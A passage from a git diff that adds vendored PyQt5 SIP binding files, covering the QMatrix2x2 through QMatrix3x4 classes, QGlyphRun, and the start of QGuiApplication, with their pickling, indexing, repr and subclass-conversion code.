row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddddddddd", + (double)data[0], (double)data[1], (double)data[2], + (double)data[3], (double)data[4], (double)data[5], + (double)data[6], (double)data[7], (double)data[8], + (double)data[9], (double)data[10], (double)data[11]); +%End + +public: + QMatrix3x4(); + QMatrix3x4(const QMatrix3x4 &other); + explicit QMatrix3x4(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[12]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 12, values)) == sipErrorNone) + sipCpp = new QMatrix3x4(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[12]; + PYQT_FLOAT data[12]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 12; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix3x4(" + "%R, %R, %R, " + "%R, %R, %R, " + "%R, %R, %R, " + "%R, %R, %R)", + m[0], m[1], m[2], + m[3], m[4], m[5], + m[6], m[7], m[8], + m[9], m[10], m[11]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix3x4("); + + for (i = 0; i < 12; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 12; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(12, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[12]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(12, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 4, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 4, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 4, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(qreal value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix4x3 transposed() const; + + QMatrix3x4 &operator+=(const QMatrix3x4 &); + QMatrix3x4 &operator-=(const QMatrix3x4 &); + +%If (Qt_5_0_0 -) + QMatrix3x4 &operator*=(float); + QMatrix3x4 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix3x4 &operator*=(qreal); + QMatrix3x4 &operator/=(qreal); +%End + + bool operator==(const QMatrix3x4 &) const; + bool operator!=(const QMatrix3x4 &) const; +}; +// The implementation of QMatrix3x3. +class QMatrix3x3 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[9]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"ddddddddd", + (double)data[0], (double)data[1], (double)data[2], + (double)data[3], (double)data[4], (double)data[5], + (double)data[6], (double)data[7], (double)data[8]); +%End + +public: + QMatrix3x3(); + QMatrix3x3(const QMatrix3x3 &other); + explicit QMatrix3x3(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[9]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 9, values)) == sipErrorNone) + sipCpp = new QMatrix3x3(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[9]; + PYQT_FLOAT data[9]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 9; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix3x3(" + "%R, %R, %R, " + "%R, %R, %R, " + "%R, %R, %R)", + m[0], m[1], m[2], + m[3], m[4], m[5], + m[6], m[7], m[8]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix3x3("); + + for (i = 0; i < 9; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 9; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(9, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[9]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(9, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 3, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix3x3 transposed() const; + + QMatrix3x3 &operator+=(const QMatrix3x3 &); + QMatrix3x3 &operator-=(const QMatrix3x3 &); + +%If (Qt_5_0_0 -) + QMatrix3x3 &operator*=(float); + QMatrix3x3 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix3x3 &operator*=(qreal); + QMatrix3x3 &operator/=(qreal); +%End + + bool operator==(const QMatrix3x3 &) const; + bool operator!=(const QMatrix3x3 &) const; +}; +// The implementation of QMatrix3x2. +class QMatrix3x2 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[6]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddd", + (double)data[0], (double)data[1], + (double)data[2], (double)data[3], + (double)data[4], (double)data[5]); +%End + +public: + QMatrix3x2(); + QMatrix3x2(const QMatrix3x2 &other); + explicit QMatrix3x2(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[6]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 6, values)) == sipErrorNone) + sipCpp = new QMatrix3x2(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[6]; + PYQT_FLOAT data[6]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 6; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix3x2(" + "%R, %R, " + "%R, %R, " + "%R, %R)", + m[0], m[1], + m[2], m[3], + m[4], m[5]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix3x2("); + + for (i = 0; i < 6; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 6; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(6, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[6]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(6, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 2, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 3, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix2x3 transposed() const; + + QMatrix3x2 &operator+=(const QMatrix3x2 &); + QMatrix3x2 &operator-=(const QMatrix3x2 &); + +%If (Qt_5_0_0 -) + QMatrix3x2 &operator*=(float); + QMatrix3x2 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix3x2 &operator*=(qreal); + QMatrix3x2 &operator/=(qreal); +%End + + bool operator==(const QMatrix3x2 &) const; + bool operator!=(const QMatrix3x2 &) const; +}; +// The implementation of QMatrix2x4. +class QMatrix2x4 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[8]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddddd", + (double)data[0], (double)data[1], (double)data[2], (double)data[3], + (double)data[4], (double)data[5], (double)data[6], (double)data[7]); +%End + +public: + QMatrix2x4(); + QMatrix2x4(const QMatrix2x4 &other); + explicit QMatrix2x4(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[8]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 8, values)) == sipErrorNone) + sipCpp = new QMatrix2x4(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[8]; + PYQT_FLOAT data[8]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 8; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix2x4(" + "%R, %R, %R, %R, " + "%R, %R, %R, %R)", + m[0], m[1], m[2], m[3], + m[4], m[5], m[6], m[7]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix2x4("); + + for (i = 0; i < 8; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 8; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(8, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[8]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(8, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 4, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 4, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 4, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix4x2 transposed() const; + + QMatrix2x4 &operator+=(const QMatrix2x4 &); + QMatrix2x4 &operator-=(const QMatrix2x4 &); + +%If (Qt_5_0_0 -) + QMatrix2x4 &operator*=(float); + QMatrix2x4 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix2x4 &operator*=(qreal); + QMatrix2x4 &operator/=(qreal); +%End + + bool operator==(const QMatrix2x4 &) const; + bool operator!=(const QMatrix2x4 &) const; +}; +// The implementation of QMatrix2x3. +class QMatrix2x3 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[6]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddddd", + (double)data[0], (double)data[1], (double)data[2], + (double)data[3], (double)data[4], (double)data[5]); +%End + +public: + QMatrix2x3(); + QMatrix2x3(const QMatrix2x3 &other); + explicit QMatrix2x3(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[6]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 6, values)) == sipErrorNone) + sipCpp = new QMatrix2x3(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[6]; + PYQT_FLOAT data[6]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 6; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix2x3(" + "%R, %R, %R, " + "%R, %R, %R)", + m[0], m[1], m[2], + m[3], m[4], m[5]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix2x3("); + + for (i = 0; i < 6; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 6; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(6, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[6]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(6, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 3, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 3, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix3x2 transposed() const; + + QMatrix2x3 &operator+=(const QMatrix2x3 &); + QMatrix2x3 &operator-=(const QMatrix2x3 &); + +%If (Qt_5_0_0 -) + QMatrix2x3 &operator*=(float); + QMatrix2x3 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix2x3 &operator*=(qreal); + QMatrix2x3 &operator/=(qreal); +%End + + bool operator==(const QMatrix2x3 &) const; + bool operator!=(const QMatrix2x3 &) const; +}; +// The implementation of QMatrix2x2. +class QMatrix2x2 +{ +%TypeHeaderCode +#include +%End + +%PickleCode + PYQT_FLOAT data[4]; + + // We want the data in row-major order. + sipCpp->copyDataTo(data); + + sipRes = Py_BuildValue((char *)"dddd", + (double)data[0], (double)data[1], + (double)data[2], (double)data[3]); +%End + +public: + QMatrix2x2(); + QMatrix2x2(const QMatrix2x2 &other); + explicit QMatrix2x2(SIP_PYOBJECT values /TypeHint="Sequence[float]"/); +%MethodCode + PYQT_FLOAT values[4]; + + if ((sipError = qtgui_matrixDataFromSequence(a0, 4, values)) == sipErrorNone) + sipCpp = new QMatrix2x2(values); +%End + + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + bool bad = false; + int i; + PyObject *m[4]; + PYQT_FLOAT data[4]; + + // The raw data is in column-major order but we want row-major order. + sipCpp->copyDataTo(data); + + for (i = 0; i < 4; ++i) + { + m[i] = PyFloat_FromDouble(data[i]); + + if (!m[i]) + bad = true; + } + + if (!bad) + { +#if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtGui.QMatrix2x2(" + "%R, %R, " + "%R, %R)", + m[0], m[1], + m[2], m[3]); +#else + sipRes = PyString_FromString("PyQt5.QtGui.QMatrix2x2("); + + for (i = 0; i < 4; ++i) + { + if (i != 0) + PyString_ConcatAndDel(&sipRes, PyString_FromString(", ")); + + PyString_ConcatAndDel(&sipRes, PyObject_Repr(m[i])); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); +#endif + } + + for (i = 0; i < 4; ++i) + Py_XDECREF(m[i]); +%End + + SIP_PYLIST data() /TypeHint="List[float]"/; +%MethodCode + sipError = qtgui_matrixDataAsList(4, sipCpp->constData(), &sipRes); +%End + + SIP_PYLIST copyDataTo() const /TypeHint="List[float]"/; +%MethodCode + PYQT_FLOAT values[4]; + + sipCpp->copyDataTo(values); + sipError = qtgui_matrixDataAsList(4, values, &sipRes); +%End + + SIP_PYOBJECT __getitem__(SIP_PYOBJECT) const; +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 2, &row, &column)) == sipErrorNone) + { + sipRes = PyFloat_FromDouble(sipCpp->operator()(row, column)); + + if (!sipRes) + sipError = sipErrorFail; + } +%End + +%If (Qt_5_0_0 -) + void __setitem__(SIP_PYOBJECT, float); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End +%If (- Qt_5_0_0) + void __setitem__(SIP_PYOBJECT, qreal); +%MethodCode + int row, column; + + if ((sipError = qtgui_matrixParseIndex(a0, 2, 2, &row, &column)) == sipErrorNone) + sipCpp->operator()(row, column) = a1; +%End +%End + + bool isIdentity() const; + void setToIdentity(); + +%If (Qt_5_0_0 -) + void fill(float value); +%End +%If (- Qt_5_0_0) + void fill(qreal value); +%End + + QMatrix2x2 transposed() const; + + QMatrix2x2 &operator+=(const QMatrix2x2 &); + QMatrix2x2 &operator-=(const QMatrix2x2 &); + +%If (Qt_5_0_0 -) + QMatrix2x2 &operator*=(float); + QMatrix2x2 &operator/=(float); +%End +%If (- Qt_5_0_0) + QMatrix2x2 &operator*=(qreal); + QMatrix2x2 &operator/=(qreal); +%End + + bool operator==(const QMatrix2x2 &) const; + bool operator!=(const QMatrix2x2 &) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qglyphrun.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qglyphrun.sip new file mode 100644 index 00000000..eff50f95 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qglyphrun.sip @@ -0,0 +1,72 @@ +// qglyphrun.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_RawFont) + +class QGlyphRun +{ +%TypeHeaderCode +#include +%End + +public: + QGlyphRun(); + QGlyphRun(const QGlyphRun &other); + ~QGlyphRun(); + QRawFont rawFont() const; + void setRawFont(const QRawFont &rawFont); + QVector glyphIndexes() const; + void setGlyphIndexes(const QVector &glyphIndexes); + QVector positions() const; + void setPositions(const QVector &positions); + void clear(); + bool operator==(const QGlyphRun &other) const; + bool operator!=(const QGlyphRun &other) const; + void setOverline(bool overline); + bool overline() const; + void setUnderline(bool underline); + bool underline() const; + void setStrikeOut(bool strikeOut); + bool strikeOut() const; + + enum GlyphRunFlag + { + Overline, + Underline, + StrikeOut, + RightToLeft, + SplitLigature, + }; + + typedef QFlags GlyphRunFlags; + void setRightToLeft(bool on); + bool isRightToLeft() const; + void setFlag(QGlyphRun::GlyphRunFlag flag, bool enabled = true); + void setFlags(QGlyphRun::GlyphRunFlags flags); + QGlyphRun::GlyphRunFlags flags() const; + void setBoundingRect(const QRectF &boundingRect); + QRectF boundingRect() const; + bool isEmpty() const; + void swap(QGlyphRun &other /Constrained/); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qguiapplication.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qguiapplication.sip new file mode 100644 index 00000000..41570b0a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qguiapplication.sip @@ -0,0 +1,357 @@ +// qguiapplication.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QGuiApplication : QCoreApplication +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + #if QT_VERSION >= 0x050100 && defined(SIP_FEATURE_PyQt_Desktop_OpenGL) + {sipName_QOpenGLTimeMonitor, &sipType_QOpenGLTimeMonitor, -1, 1}, + #else + {0, 0, -1, 1}, + #endif + {sipName_QSyntaxHighlighter, &sipType_QSyntaxHighlighter, -1, 2}, + {sipName_QWindow, &sipType_QWindow, 25, 3}, + {sipName_QPdfWriter, &sipType_QPdfWriter, -1, 4}, + {sipName_QMovie, &sipType_QMovie, -1, 5}, + #if defined(SIP_FEATURE_PyQt_SessionManager) + {sipName_QSessionManager, &sipType_QSessionManager, -1, 6}, + #else + {0, 0, -1, 6}, + #endif + {sipName_QAbstractTextDocumentLayout, &sipType_QAbstractTextDocumentLayout, -1, 7}, + {sipName_QScreen, &sipType_QScreen, -1, 8}, + {sipName_QTextObject, &sipType_QTextObject, 28, 9}, + {sipName_QStandardItemModel, &sipType_QStandardItemModel, -1, 10}, + {sipName_QDrag, &sipType_QDrag, -1, 11}, + #if defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLContextGroup, &sipType_QOpenGLContextGroup, -1, 12}, + #else + {0, 0, -1, 12}, + #endif + {sipName_QValidator, &sipType_QValidator, 32, 13}, + {sipName_QTextDocument, &sipType_QTextDocument, -1, 14}, + #if QT_VERSION >= 0x050100 && defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLVertexArrayObject, &sipType_QOpenGLVertexArrayObject, -1, 15}, + #else + {0, 0, -1, 15}, + #endif + #if QT_VERSION >= 0x050100 && defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLDebugLogger, &sipType_QOpenGLDebugLogger, -1, 16}, + #else + {0, 0, -1, 16}, + #endif + {sipName_QGuiApplication, &sipType_QGuiApplication, -1, 17}, + #if QT_VERSION >= 0x050100 && defined(SIP_FEATURE_PyQt_Desktop_OpenGL) + {sipName_QOpenGLTimerQuery, &sipType_QOpenGLTimerQuery, -1, 18}, + #else + {0, 0, -1, 18}, + #endif + #if QT_VERSION >= 0x050100 + {sipName_QOffscreenSurface, &sipType_QOffscreenSurface, -1, 19}, + #else + {0, 0, -1, 19}, + #endif + #if defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLShaderProgram, &sipType_QOpenGLShaderProgram, -1, 20}, + #else + {0, 0, -1, 20}, + #endif + {sipName_QStyleHints, &sipType_QStyleHints, -1, 21}, + {sipName_QClipboard, &sipType_QClipboard, -1, 22}, + #if defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLShader, &sipType_QOpenGLShader, -1, 23}, + #else + {0, 0, -1, 23}, + #endif + #if defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLContext, &sipType_QOpenGLContext, -1, 24}, + #else + {0, 0, -1, 24}, + #endif + {sipName_QInputMethod, &sipType_QInputMethod, -1, -1}, + #if QT_VERSION >= 0x050400 + {sipName_QPaintDeviceWindow, &sipType_QPaintDeviceWindow, 26, -1}, + #else + {0, 0, 26, -1}, + #endif + #if QT_VERSION >= 0x050400 && defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLWindow, &sipType_QOpenGLWindow, -1, 27}, + #else + {0, 0, -1, 27}, + #endif + #if QT_VERSION >= 0x050400 + {sipName_QRasterWindow, &sipType_QRasterWindow, -1, -1}, + #else + {0, 0, -1, -1}, + #endif + {sipName_QTextBlockGroup, &sipType_QTextBlockGroup, 30, 29}, + {sipName_QTextFrame, &sipType_QTextFrame, 31, -1}, + {sipName_QTextList, &sipType_QTextList, -1, -1}, + {sipName_QTextTable, &sipType_QTextTable, -1, -1}, + #if QT_VERSION >= 0x050100 + {sipName_QRegularExpressionValidator, &sipType_QRegularExpressionValidator, -1, 33}, + #else + {0, 0, -1, 33}, + #endif + {sipName_QIntValidator, &sipType_QIntValidator, -1, 34}, + {sipName_QDoubleValidator, &sipType_QDoubleValidator, -1, 35}, + {sipName_QRegExpValidator, &sipType_QRegExpValidator, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QGuiApplication(SIP_PYLIST argv /TypeHint="List[str]"/) /PostHook=__pyQtQAppHook__/ [(int &argc, char **argv, int = ApplicationFlags)]; +%MethodCode + // The Python interface is a list of argument strings that is modified. + + int argc; + char **argv; + + // Convert the list. + if ((argv = pyqt5_qtgui_from_argv_list(a0, argc)) == NULL) + sipIsErr = 1; + else + { + // Create it now the arguments are right. + static int nargc; + nargc = argc; + + Py_BEGIN_ALLOW_THREADS + sipCpp = new sipQGuiApplication(nargc, argv, QCoreApplication::ApplicationFlags); + Py_END_ALLOW_THREADS + + // Now modify the original list. + pyqt5_qtgui_update_argv_list(a0, argc, argv); + } +%End + + virtual ~QGuiApplication() /ReleaseGIL/; +%MethodCode + pyqt5_qtgui_cleanup_qobjects(); +%End + + static QWindowList allWindows(); + static QWindowList topLevelWindows(); + static QWindow *topLevelAt(const QPoint &pos); + static QString platformName(); + static QWindow *focusWindow(); + static QObject *focusObject(); + static QScreen *primaryScreen(); + static QList screens(); + static QCursor *overrideCursor(); + static void setOverrideCursor(const QCursor &); + static void changeOverrideCursor(const QCursor &); + static void restoreOverrideCursor(); + static QFont font(); + static void setFont(const QFont &); + static QClipboard *clipboard(); 